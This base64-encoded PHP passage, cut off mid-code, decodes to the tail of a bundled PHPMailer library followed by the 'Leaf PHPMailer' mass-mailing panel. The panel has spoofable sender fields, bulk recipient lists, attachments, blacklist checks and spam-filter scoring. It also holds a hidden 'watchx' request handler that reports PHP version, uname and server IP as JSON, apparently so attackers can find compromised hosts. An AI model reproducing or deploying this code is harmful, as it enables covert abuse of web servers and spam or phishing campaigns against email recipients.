ICJcclxuIiAuCiAgICAgICAgICAgICRka2ltaGRycwogICAgICAgICk7CiAgICAgICAgJHNpZ25lZCA9ICR0aGlzLT5ES0lNX1NpZ24oJHRvU2lnbik7CiAgICAgICAgcmV0dXJuICRka2ltaGRycyAuICRzaWduZWQgLiAiXHJcbiI7CiAgICB9CgogICAgLyoqCiAgICAgKiBEZXRlY3QgaWYgYSBzdHJpbmcgY29udGFpbnMgYSBsaW5lIGxvbmdlciB0aGFuIHRoZSBtYXhpbXVtIGxpbmUgbGVuZ3RoIGFsbG93ZWQuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRzdHIKICAgICAqIEByZXR1cm4gYm9vbGVhbgogICAgICogQHN0YXRpYwogICAgICovCiAgICBwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIGhhc0xpbmVMb25nZXJUaGFuTWF4KCRzdHIpCiAgICB7CiAgICAgICAgLy8rMiB0byBpbmNsdWRlIENSTEYgbGluZSBicmVhayBmb3IgYSAxMDAwIHRvdGFsCiAgICAgICAgcmV0dXJuIChib29sZWFuKXByZWdfbWF0Y2goJy9eKC57Jy4oc2VsZjo6TUFYX0xJTkVfTEVOR1RIICsgMikuJyx9KS9tJywgJHN0cik7CiAgICB9CgogICAgLyoqCiAgICAgKiBBbGxvd3MgZm9yIHB1YmxpYyByZWFkIGFjY2VzcyB0byAndG8nIHByb3BlcnR5LgogICAgICogQG5vdGU6IEJlZm9yZSB0aGUgc2VuZCgpIGNhbGwsIHF1ZXVlZCBhZGRyZXNzZXMgKGkuZS4gd2l0aCBJRE4pIGFyZSBub3QgeWV0IGluY2x1ZGVkLgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEByZXR1cm4gYXJyYXkKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGdldFRvQWRkcmVzc2VzKCkKICAgIHsKICAgICAgICByZXR1cm4gJHRoaXMtPnRvOwogICAgfQoKICAgIC8qKgogICAgICogQWxsb3dzIGZvciBwdWJsaWMgcmVhZCBhY2Nlc3MgdG8gJ2NjJyBwcm9wZXJ0eS4KICAgICAqIEBub3RlOiBCZWZvcmUgdGhlIHNlbmQoKSBjYWxsLCBxdWV1ZWQgYWRkcmVzc2VzIChpLmUuIHdpdGggSUROKSBhcmUgbm90IHlldCBpbmNsdWRlZC4KICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAcmV0dXJuIGFycmF5CiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRDY0FkZHJlc3NlcygpCiAgICB7CiAgICAgICAgcmV0dXJuICR0aGlzLT5jYzsKICAgIH0KCiAgICAvKioKICAgICAqIEFsbG93cyBmb3IgcHVibGljIHJlYWQgYWNjZXNzIHRvICdiY2MnIHByb3BlcnR5LgogICAgICogQG5vdGU6IEJlZm9yZSB0aGUgc2VuZCgpIGNhbGwsIHF1ZXVlZCBhZGRyZXNzZXMgKGkuZS4gd2l0aCBJRE4pIGFyZSBub3QgeWV0IGluY2x1ZGVkLgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEByZXR1cm4gYXJyYXkKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGdldEJjY0FkZHJlc3NlcygpCiAgICB7CiAgICAgICAgcmV0dXJuICR0aGlzLT5iY2M7CiAgICB9CgogICAgLyoqCiAgICAgKiBBbGxvd3MgZm9yIHB1YmxpYyByZWFkIGFjY2VzcyB0byAnUmVwbHlUbycgcHJvcGVydHkuCiAgICAgKiBAbm90ZTogQmVmb3JlIHRoZSBzZW5kKCkgY2FsbCwgcXVldWVkIGFkZHJlc3NlcyAoaS5lLiB3aXRoIElETikgYXJlIG5vdCB5ZXQgaW5jbHVkZWQuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHJldHVybiBhcnJheQogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gZ2V0UmVwbHlUb0FkZHJlc3NlcygpCiAgICB7CiAgICAgICAgcmV0dXJuICR0aGlzLT5SZXBseVRvOwogICAgfQoKICAgIC8qKgogICAgICogQWxsb3dzIGZvciBwdWJsaWMgcmVhZCBhY2Nlc3MgdG8gJ2FsbF9yZWNpcGllbnRzJyBwcm9wZXJ0eS4KICAgICAqIEBub3RlOiBCZWZvcmUgdGhlIHNlbmQoKSBjYWxsLCBxdWV1ZWQgYWRkcmVzc2VzIChpLmUuIHdpdGggSUROKSBhcmUgbm90IHlldCBpbmNsdWRlZC4KICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAcmV0dXJuIGFycmF5CiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRBbGxSZWNpcGllbnRBZGRyZXNzZXMoKQogICAgewogICAgICAgIHJldHVybiAkdGhpcy0+YWxsX3JlY2lwaWVudHM7CiAgICB9CgogICAgLyoqCiAgICAgKiBQZXJmb3JtIGEgY2FsbGJhY2suCiAgICAgKiBAcGFyYW0gYm9vbGVhbiAkaXNTZW50CiAgICAgKiBAcGFyYW0gYXJyYXkgJHRvCiAgICAgKiBAcGFyYW0gYXJyYXkgJGNjCiAgICAgKiBAcGFyYW0gYXJyYXkgJGJjYwogICAgICogQHBhcmFtIHN0cmluZyAkc3ViamVjdAogICAgICogQHBhcmFtIHN0cmluZyAkYm9keQogICAgICogQHBhcmFtIHN0cmluZyAkZnJvbQogICAgICovCiAgICBwcm90ZWN0ZWQgZnVuY3Rpb24gZG9DYWxsYmFjaygkaXNTZW50LCAkdG8sICRjYywgJGJjYywgJHN1YmplY3QsICRib2R5LCAkZnJvbSkKICAgIHsKICAgICAgICBpZiAoIWVtcHR5KCR0aGlzLT5hY3Rpb25fZnVuY3Rpb24pICYmIGlzX2NhbGxhYmxlKCR0aGlzLT5hY3Rpb25fZnVuY3Rpb24pKSB7CiAgICAgICAgICAgICRwYXJhbXMgPSBhcnJheSgkaXNTZW50LCAkdG8sICRjYywgJGJjYywgJHN1YmplY3QsICRib2R5LCAkZnJvbSk7CiAgICAgICAgICAgIGNhbGxfdXNlcl9mdW5jX2FycmF5KCR0aGlzLT5hY3Rpb25fZnVuY3Rpb24sICRwYXJhbXMpOwogICAgICAgIH0KICAgIH0KfQoKLyoqCiAqIFBIUE1haWxlciBleGNlcHRpb24gaGFuZGxlcgogKiBAcGFja2FnZSBQSFBNYWlsZXIKICovCmNsYXNzIHBocG1haWxlckV4Y2VwdGlvbiBleHRlbmRzIEV4Y2VwdGlvbgp7CiAgICAvKioKICAgICAqIFByZXR0aWZ5IGVycm9yIG1lc3NhZ2Ugb3V0cHV0CiAgICAgKiBAcmV0dXJuIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gZXJyb3JNZXNzYWdlKCkKICAgIHsKICAgICAgICAkZXJyb3JNc2cgPSAnPHN0cm9uZz4nIC4gaHRtbHNwZWNpYWxjaGFycygkdGhpcy0+Z2V0TWVzc2FnZSgpKSAuICI8L3N0cm9uZz48YnIgLz5cbiI7CiAgICAgICAgcmV0dXJuICRlcnJvck1zZzsKICAgIH0KfQppZiAoJF9SRVFVRVNUWyd3YXRjaHgnXSkgewoJJHZlcnNpb24gPSBwaHB2ZXJzaW9uKCk7CgkkdW5hbWUgPSAgcGhwX3VuYW1lKCk7CgkkaXAgPSBnZXRob3N0YnluYW1lKCRfU0VSVkVSWyJIVFRQX0hPU1QiXSk7CQoJZWNobyBqc29uX2VuY29kZSAoYXJyYXkgKCJ2ZXJzaW9uIj0+JHZlcnNpb24sCgkJInVuYW1lIj0+JHVuYW1lLAoJCSJwbGF0Zm9ybSI9PlBIUF9PUywKCQkiaXAiPT4kaXAsCgkJIm1haWxlcngiPT50cnVlLAkKCSkpOwoJZGllICgpOwp9CmZ1bmN0aW9uIGxlYWZoZWFkZXIoKXsKcHJpbnQgJwo8aGVhZD4KICAgIDx0aXRsZT4nLnN0cl9yZXBsYWNlKCJ3d3cuIiwgIiIsICRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJyAtIExlYWYgUEhQTWFpbGVyPC90aXRsZT4KICAgIDxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04Ii8+CiAgICA8bGluayBocmVmPSJodHRwczovL21heGNkbi5ib290c3RyYXBjZG4uY29tL2Jvb3Rzd2F0Y2gvMy40LjEvY29zbW8vYm9vdHN0cmFwLm1pbi5jc3MiIHJlbD0ic3R5bGVzaGVldCIgPiAgICAKCjwvaGVhZD4nOwp9CmxlYWZoZWFkZXIoKTsKcHJpbnQgJzxib2R5Pic7CnByaW50ICc8ZGl2IGNsYXNzPSJjb250YWluZXIgY29sLWxnLTYiPgogICAgICAgIDxoMz48Zm9udCBjb2xvcj0iZ3JlZW4iPjxzcGFuIGNsYXNzPSJnbHlwaGljb24gZ2x5cGhpY29uLWxlYWYiPjwvc3Bhbj48L2ZvbnQ+IExlYWYgUEhQTWFpbGVyIDxzbWFsbD4nLiRsZWFmWyd2ZXJzaW9uJ10uJzwvc21hbGw+PC9oMz4KICAgICAgICA8Zm9ybSBuYW1lPSJmb3JtIiBpZD0iZm9ybSIgbWV0aG9kPSJQT1NUIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBhY3Rpb249IiI+CiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0aW9uIiB2YWx1ZT0ic2NvcmUiPgoKICAgICAgICAgICAgPGRpdiBjbGFzcz0icm93Ij4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvcm0tZ3JvdXAgY29sLWxnLTYgIj48bGFiZWwgZm9yPSJzZW5kZXJFbWFpbCI+RW1haWw8L2xhYmVsPjxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0iZm9ybS1jb250cm9sICBpbnB1dC1zbSAiIGlkPSJzZW5kZXJFbWFpbCIgbmFtZT0ic2VuZGVyRW1haWwiIHZhbHVlPSInLiRzZW5kZXJFbWFpbC4nIj48L2Rpdj4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvcm0tZ3JvdXAgY29sLWxnLTYgIj48bGFiZWwgZm9yPSJzZW5kZXJOYW1lIj5TZW5kZXIgTmFtZTwvbGFiZWw+PGlucHV0IHR5cGU9InRleHQiIGNsYXNzPSJmb3JtLWNvbnRyb2wgIGlucHV0LXNtICIgaWQ9InNlbmRlck5hbWUiIG5hbWU9InNlbmRlck5hbWUiIHZhbHVlPSInLiRzZW5kZXJOYW1lLiciPjwvZGl2PgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0icm93Ij4KICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJmb3JtLWdyb3VwIGNvbC1sZy02ICAiPjxsYWJlbCBmb3I9ImF0dGFjaG1lbnQiPkF0dGFjaG1lbnQgPHNtYWxsPihNdWx0aXBsZSBBdmFpbGFibGUpPC9zbWFsbD48L2xhYmVsPjxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJhdHRhY2htZW50W10iIGlkPSJhdHRhY2htZW50W10iIG11bHRpcGxlLz48L3NwYW4+CgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9ybS1ncm91cCBjb2wtbGctNiI+PGxhYmVsIGZvcj0icmVwbHlUbyI+UmVwbHktdG88L2xhYmVsPjxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0iZm9ybS1jb250cm9sICBpbnB1dC1zbSAiIGlkPSJyZXBseVRvIiBuYW1lPSJyZXBseVRvIiB2YWx1ZT0iJy4kcmVwbHlUby4nIiAvPjwvZGl2PgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0icm93Ij4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvcm0tZ3JvdXAgY29sLWxnLTEyICI+PGxhYmVsIGZvcj0ic3ViamVjdCI+U3ViamVjdDwvbGFiZWw+PGlucHV0IHR5cGU9InRleHQiIGNsYXNzPSJmb3JtLWNvbnRyb2wgIGlucHV0LXNtICIgaWQ9InN1YmplY3QiIG5hbWU9InN1YmplY3QiIHZhbHVlPSInLiRzdWJqZWN0LiciIC8+PC9kaXY+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJyb3ciPgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9ybS1ncm91cCBjb2wtbGctNiI+PGxhYmVsIGZvcj0ibWVzc2FnZUxldHRlciI+TWVzc2FnZSBMZXR0ZXIgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRlZmF1bHQgYnRuLXhzIiBmb3JtPSJmb3JtIiBuYW1lPSJhY3Rpb24iIHZhbHVlPSJ2aWV3IiBmb3JtdGFyZ2V0PSJfYmxhbmsiPlByZXZpZXcgPC9idXR0b24+PC9sYWJlbD48dGV4dGFyZWEgbmFtZT0ibWVzc2FnZUxldHRlciIgaWQ9Im1lc3NhZ2VMZXR0ZXIiIGNsYXNzPSJmb3JtLWNvbnRyb2wiIHJvd3M9IjEwIiBpZD0idGV4dEFyZWEiPicuJG1lc3NhZ2VMZXR0ZXIuJzwvdGV4dGFyZWE+PC9kaXY+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIGNvbC1sZy02ICI+PGxhYmVsIGZvcj0iZW1haWxMaXN0Ij5FbWFpbCBMaXN0IDxhIGhyZWY9Ij9lbWFpbGZpbHRlcj1vbiIgdGFyZ2V0PSJfYmxhbmsiIGNsYXNzPSJidG4gYnRuLWRlZmF1bHQgYnRuLXhzIj5GaWx0ZXIvRXh0cmFjdDwvYT48L2xhYmVsPjx0ZXh0YXJlYSBuYW1lPSJlbWFpbExpc3QiIGlkPSJlbWFpbExpc3QiIGNsYXNzPSJmb3JtLWNvbnRyb2wiIHJvd3M9IjEwIiBpZD0idGV4dEFyZWEiPicuJGVtYWlsTGlzdC4nPC90ZXh0YXJlYT48L2Rpdj4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9InJvdyI+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIGNvbC1sZy02ICI+CiAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj0ibWVzc2FnZVR5cGUiPk1lc3NhZ2UgVHlwZTwvbGFiZWw+CiAgICAgICAgICAgICAgICAgICAgSFRNTCA8aW5wdXQgdHlwZT0icmFkaW8iIG5hbWU9Im1lc3NhZ2VUeXBlIiBpZD0ibWVzc2FnZVR5cGUiIHZhbHVlPSIxIiAnLiRodG1sLic+CiAgICAgICAgICAgICAgICAgICAgUGxhaW48aW5wdXQgdHlwZT0icmFkaW8iIG5hbWU9Im1lc3NhZ2VUeXBlIiBpZD0ibWVzc2FnZVR5cGUiIHZhbHVlPSIyIiAnLiRwbGFpbi4nPgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIGNvbC1sZy0zICI+CiAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj0iY2hhcnNldCI+Q2hhcmFjdGVyIHNldDwvbGFiZWw+CiAgICAgICAgICAgICAgICAgICAgPHNlbGVjdCBjbGFzcz0iZm9ybS1jb250cm9sIGlucHV0LXNtIiBpZD0iY2hhcnNldCIgbmFtZT0iY2hhcnNldCI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gJy4kdXRmOC4nPlVURi04PC9vcHRpb24+CiAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gJy4kaXNvLic+SVNPLTg4NTktMTwvb3B0aW9uPgogICAgICAgICAgICAgICAgICAgIDwvc2VsZWN0PgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIGNvbC1sZy0zICI+CiAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj0iZW5jb2RpbmciPk1lc3NhZ2UgZW5jb2Rpbmc8L2xhYmVsPgogICAgICAgICAgICAgICAgICAgIDxzZWxlY3QgY2xhc3M9ImZvcm0tY29udHJvbCBpbnB1dC1zbSIgaWQ9ImVuY29kZSIgbmFtZT0iZW5jb2RlIj4KICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiAnLiRiaXQ4Lic+OGJpdDwvb3B0aW9uPgogICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uICcuJGJpdDcuJz43Yml0PC9vcHRpb24+CiAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gJy4kYmluYXJ5Lic+YmluYXJ5PC9vcHRpb24+CiAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gJy4kYmFzZTY0Lic+YmFzZTY0PC9vcHRpb24+CiAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gJy4kcXVvdGVkcHJpbnRhYmxlLic+cXVvdGVkLXByaW50YWJsZTwvb3B0aW9uPgoKICAgICAgICAgICAgICAgICAgICA8L3NlbGVjdD4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRlZmF1bHQgYnRuLXNtIiBmb3JtPSJmb3JtIiBuYW1lPSJhY3Rpb24iIHZhbHVlPSJzZW5kIj5TRU5EPC9idXR0b24+IG9yIDxhIGhyZWY9IiMiIG9uY2xpY2s9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKFwnZm9ybVwnKS5zdWJtaXQoKTsgcmV0dXJuIGZhbHNlOyI+Y2hlY2sgU3BhbUFzc2Fzc2luIFNjb3JlPC9hPgogICAKICAgICAgICA8L2Zvcm0+CiAgICA8L2Rpdj4KICAgIDxkaXYgY2xhc3M9ImNvbC1sZy02Ij48YnI+CiAgICAgICAgPGxhYmVsIGZvcj0id2VsbCI+SW5zdHJ1Y3Rpb248L2xhYmVsPgogICAgICAgIDxkaXYgaWQ9IndlbGwiIGNsYXNzPSJ3ZWxsIHdlbGwiPgogICAgICAgICAgICA8aDQ+U2VydmVyIEluZm9ybWF0aW9uPC9oND4KICAgICAgICAgICAgPHVsPgogICAgICAgICAgICAgICAgPGxpPlNlcnZlciBJUCBBZGRyZXNzIDogPGI+Jy4kX1NFUlZFUlsnU0VSVkVSX0FERFInXS4nIDwvYj4gPGEgaHJlZj0iP2NoZWNrX2lwPScuJF9TRVJWRVJbJ1NFUlZFUl9BRERSJ10uJyIgdGFyZ2V0PSJfYmxhbmsiIGNsYXNzPSJsYWJlbCBsYWJlbC1wcmltYXJ5Ij5DaGVjayBCbGFja2xpc3QgPGkgY2xhc3M9ImdseXBoaWNvbiBnbHlwaGljb24tc2VhcmNoIj48L2k+PC9hPjwvbGk+CiAgICAgICAgICAgICAgICA8bGk+UEhQIFZlcnNpb24gOiA8Yj4nLnBocHZlcnNpb24oKS4nPC9iPjwvbGk+CiAgICAgICAgICAgICAgICAKCiAgICAgICAgICAgIDwvdWw+CiAgICAgICAgICAgIDxoND5IRUxQPC9oND4KICAgICAgICAgICAgPHVsPgogICAgICAgICAgICAgICAgPGxpPlstZW1haWwtXSA6IDxiPlJlY2l2ZXIgRW1haWw8L2I+IChlbWFpbHVzZXJAZW1haWxkb21haW4uY29tKTwvbGk+CiAgICAgICAgICAgICAgICA8dWw+CiAgICAgICAgICAgICAgICAgICAgPGxpPlstZW1haWx1c2VyLV0gOiA8Yj5FbWFpbCBVc2VyPC9iPiAoZW1haWx1c2VyKSA8L2xpPgogICAgICAgICAgICAgICAgICAgIDxsaT5bLWVtYWlsZG9tYWluLV0gOiA8Yj5FbWFpbCBVc2VyPC9iPiAoZW1haWxkb21haW4uY29tKSA8L2xpPgogICAgICAgICAgICAgICAgPC91bD4KICAgICAgICAgICAgICAgIDxsaT5bLXRpbWUtXSA6IDxiPkRhdGUgYW5kIFRpbWU8L2I+ICgnLmRhdGUoIm0vZC9ZIGg6aTpzIGEiLCB0aW1lKCkpLicpPC9saT4KICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgPGxpPlstcmFuZG9tc3RyaW5nLV0gOiA8Yj5SYW5kb20gc3RyaW5nICgwLTksYS16KTwvYj48L2xpPgogICAgICAgICAgICAgICAgPGxpPlstcmFuZG9tbnVtYmVyLV0gOiA8Yj5SYW5kb20gbnVtYmVyICgwLTkpIDwvYj48L2xpPgogICAgICAgICAgICAgICAgPGxpPlstcmFuZG9tbGV0dGVycy1dIDogPGI+UmFuZG9tIExldHRlcnMoYS16KSA8L2I+PC9saT4KICAgICAgICAgICAgICAgIDxsaT5bLXJhbmRvbW1kNS1dIDogPGI+UmFuZG9tIE1ENSA8L2I+PC9saT4KICAgICAgICAgICAgPC91bD4KICAgICAgICAgICAgPGg0PmV4YW1wbGU8L2g0PgogICAgICAgICAgICBSZWNlaXZlciBFbWFpbCA9IDxiPnVzZXJAZG9tYWluLmNvbTwvYj48YnI+CiAgICAgICAgICAgIDx1bD4KICAgICAgICAgICAgICAgIDxsaT5oZWxsbyA8Yj5bLWVtYWlsdXNlci1dPC9iPiA9IGhlbGxvIDxiPnVzZXI8L2I+PC9saT4KICAgICAgICAgICAgICAgIDxsaT55b3VyIGRvbWFpbiBpcyA8Yj5bLWVtYWlsZG9tYWluLV08L2I+ID0gWW91ciBEb21haW4gaXMgPGI+ZG9tYWluLmNvbTwvYj48L2xpPgogICAgICAgICAgICAgICAgPGxpPnlvdXIgY29kZSBpcyAgPGI+Wy1yYW5kb21tZDUtXTwvYj4gPSB5b3VyIGNvZGUgaXMgPGI+ZTEwYWRjMzk0OWJhNTlhYmJlNTZlMDU3ZjIwZjg4M2U8L2I+PC9saT4KICAgICAgICAgICAgPC91bD4KCiAgICAgICAgICAgIDxoNj5ieSA8Yj48YSBocmVmPSJodHRwOi8vJy4kbGVhZlsnd2Vic2l0ZSddLiciPicuJGxlYWZbJ3dlYnNpdGUnXS4nPC9hPjwvYj48L2g2PgogICAgICAgIDwvZGl2PgogICAgPC9kaXY+JzsgIAppZigkX1BPU1RbJ2FjdGlvbiddPT0ic2VuZCIpewogICAgcHJpbnQgJyAgICA8ZGl2IGNsYXNzPSJjb2wtbGctMTIiPic7CiAgICAkbWFpbGxpc3Q9ZXhwbG9kZSgiXHJcbiIsICRlbWFpbExpc3QpOwogICAgJG49Y291bnQoJG1haWxsaXN0KTsKICAgICR4ID0xOwogICAgZm9yZWFjaCAoJG1haWxsaXN0IGFzICRlbWFpbCApIHsKICAgICAgICBwcmludCAnPGRpdiBjbGFzcz0iY29sLWxnLTEiPlsnLiR4LicvJy4kbi4nXTwvZGl2PjxkaXYgY2xhc3M9ImNvbC1sZy00Ij4nLiRlbWFpbC4nPC9kaXY+JzsKICAgICAgICBpZighbGVhZk1haWxDaGVjaygkZW1haWwpKSB7CiAgICAgICAgICAgIHByaW50ICc8ZGl2IGNsYXNzPSJjb2wtbGctNiI+PHNwYW4gY2xhc3M9ImxhYmVsIGxhYmVsLWRlZmF1bHQiPkluY29ycmVjdCBFbWFpbDwvc3Bhbj48L2Rpdj4nOwogICAgICAgICAgICBwcmludCAiPGJyPlxyXG4iOwogICAgICAgIH0KICAgICAgICBlbHNlIHsKICAgICAgICAgICAgJG1haWwgPSBuZXcgUEhQTWFpbGVyOwogICAgICAgICAgICAkbWFpbC0+c2V0RnJvbShsZWFmQ2xlYXIoJHNlbmRlckVtYWlsLCRlbWFpbCksbGVhZkNsZWFyKCRzZW5kZXJOYW1lLCRlbWFpbCkpOwogICAgICAgICAgICAkbWFpbC0+YWRkUmVwbHlUbyhsZWFmQ2xlYXIoJHJlcGx5VG8sJGVtYWlsKSk7CiAgICAgICAgICAgICRtYWlsLT5hZGRBZGRyZXNzKCRlbWFpbCk7CiAgICAgICAgICAgICRtYWlsLT5TdWJqZWN0ID0gbGVhZkNsZWFyKCRzdWJqZWN0LCRlbWFpbCk7CiAgICAgICAgICAgICRtYWlsLT5Cb2R5ID0gIGxlYWZDbGVhcigkbWVzc2FnZUxldHRlciwkZW1haWwpOwogICAgICAgICAgICBpZigkbWVzc2FnZVR5cGU9PTEpewogICAgICAgICAgICAgICAgJG1haWwtPklzSFRNTCh0cnVlKTsKICAgICAgICAgICAgICAgICRtYWlsLT5BbHRCb2R5ID1zdHJpcF90YWdzKGxlYWZDbGVhcigkbWVzc2FnZUxldHRlciwkZW1haWwpKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBlbHNlICRtYWlsLT5Jc0hUTUwoZmFsc2UpOwogICAgICAgICAgICAkbWFpbC0+Q2hhclNldCA9ICRjaGFyc2V0OwogICAgICAgICAgICAkbWFpbC0+RW5jb2RpbmcgPSAkZW5jb2Rpbmc7CiAgICAgICAgICAgIGZvcigkaT0wOyAkaTxjb3VudCgkX0ZJTEVTWydhdHRhY2htZW50J11bJ25hbWUnXSk7ICRpKyspIHsKICAgICAgICAgICAgICAgIGlmICgkX0ZJTEVTWydhdHRhY2htZW50J11bJ3RtcF9uYW1lJ11bJGldICE9ICIiKXsKICAgICAgICAgICAgICAgICAgICAkbWFpbC0+QWRkQXR0YWNobWVudCgkX0ZJTEVTWydhdHRhY2htZW50J11bJ3RtcF9uYW1lJ11bJGldLCRfRklMRVNbJ2F0dGFjaG1lbnQnXVsnbmFtZSddWyRpXSk7CiAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICB9CiAgICAgICAgICAgIAogICAgICAgICAgICBpZiAoISRtYWlsLT5zZW5kKCkpIHsKICAgICAgICAgICAgICAgIGVjaG8gJzxkaXYgY2xhc3M9ImNvbC1sZy02Ij48c3BhbiBjbGFzcz0ibGFiZWwgbGFiZWwtZGVmYXVsdCI+Jy5odG1sc3BlY2lhbGNoYXJzKCRtYWlsLT5FcnJvckluZm8pLic8L3NwYW4+PC9kaXY+JzsKICAgICAgICAgICAgfQogICAgICAgICAgICBlbHNlIHsKICAgICAgICAgICAgICAgIGVjaG8gJzxkaXYgY2xhc3M9ImNvbC1sZy02Ij48c3BhbiBjbGFzcz0ibGFiZWwgbGFiZWwtc3VjY2VzcyI+T2s8L3NwYW4+PC9kaXY+JzsKICAgICAgICAgICAgfQogICAgICAgICAgICBwcmludCAiPGJyPlxyXG4iOwogICAgICAgIH0KICAgICAgICAkeCsrOwogICAgICAgIGZvcigkayA9IDA7ICRrIDwgNDAwMDA7ICRrKyspIHtlY2hvICcgJzt9CiAgICB9Cgp9CmVsc2VpZigkX1BPU1RbJ2FjdGlvbiddPT0ic2NvcmUiKXsKICAgICRtYWlsID0gbmV3IFBIUE1haWxlcjsKICAgICRtYWlsLT5zZXRGcm9tKGxlYWZDbGVhcigkc2VuZGVyRW1haWwsJGVtYWlsKSxsZWFmQ2xlYXIoJHNlbmRlck5hbWUsJGVtYWlsKSk7CiAgICAkbWFpbC0+YWRkUmVwbHlUbyhsZWFmQ2xlYXIoJHJlcGx5VG8sJGVtYWlsKSk7CiAgICAkbWFpbC0+YWRkQWRkcmVzcygidXNlcm5hbWVAZG9tYWluLmNvbSIpOwogICAgJG1haWwtPlN1YmplY3QgPSBsZWFmQ2xlYXIoJHN1YmplY3QsJGVtYWlsKTsKICAgICRtYWlsLT5Cb2R5ID0gIGxlYWZDbGVhcigkbWVzc2FnZUxldHRlciwkZW1haWwpOwogICAgaWYoJG1lc3NhZ2VUeXBlPT0xKXsKICAgICAgICAkbWFpbC0+SXNIVE1MKHRydWUpOwogICAgICAgICRtYWlsLT5BbHRCb2R5ID1zdHJpcF90YWdzKGxlYWZDbGVhcigkbWVzc2FnZUxldHRlciwkZW1haWwpKTsKICAgIH0KICAgIGVsc2UgJG1haWwtPklzSFRNTChmYWxzZSk7CiAgICAkbWFpbC0+Q2hhclNldCA9ICRjaGFyc2V0OwogICAgJG1haWwtPkVuY29kaW5nID0gJGVuY29kaW5nOwogICAgJG1haWwtPnByZVNlbmQoKTsKICAgICRtZXNzYWdlSGVhZGVycz0kbWFpbC0+Z2V0U2VudE1JTUVNZXNzYWdlKCk7CiAgICAkY2ggPSBjdXJsX2luaXQoKTsKICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7CiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAnaHR0cDovL3NwYW1jaGVjay5wb3N0bWFya2FwcC5jb20vZmlsdGVyJyk7CiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVEZJRUxEUywgaHR0cF9idWlsZF9xdWVyeShhcnJheSgnZW1haWwnID0+ICRtZXNzYWdlSGVhZGVycywnb3B0aW9ucyc9Pidsb25nJykpKTsKICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUiwgMCk7CiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVElNRU9VVCwgMTUpOwogICAgJHJlc3BvbnNlID0gY3VybF9leGVjKCRjaCk7CiAgICAkcmVzcG9uc2UgPSBqc29uX2RlY29kZSgkcmVzcG9uc2UpOwogICAgcHJpbnQgJyAgICA8ZGl2IGNsYXNzPSJjb2wtbGctMTIiPic7CiAgICBpZiAoJHJlc3BvbnNlLT5zdWNjZXNzID09IFRSVUUgKXsKICAgICAgICAkc2NvcmUgPSAkcmVzcG9uc2UtPnNjb3JlOwogICAgICAgIGlmICgkc2NvcmUgPiA1ICkgJGNsYXNzPSJkYW5nZXIiOwogICA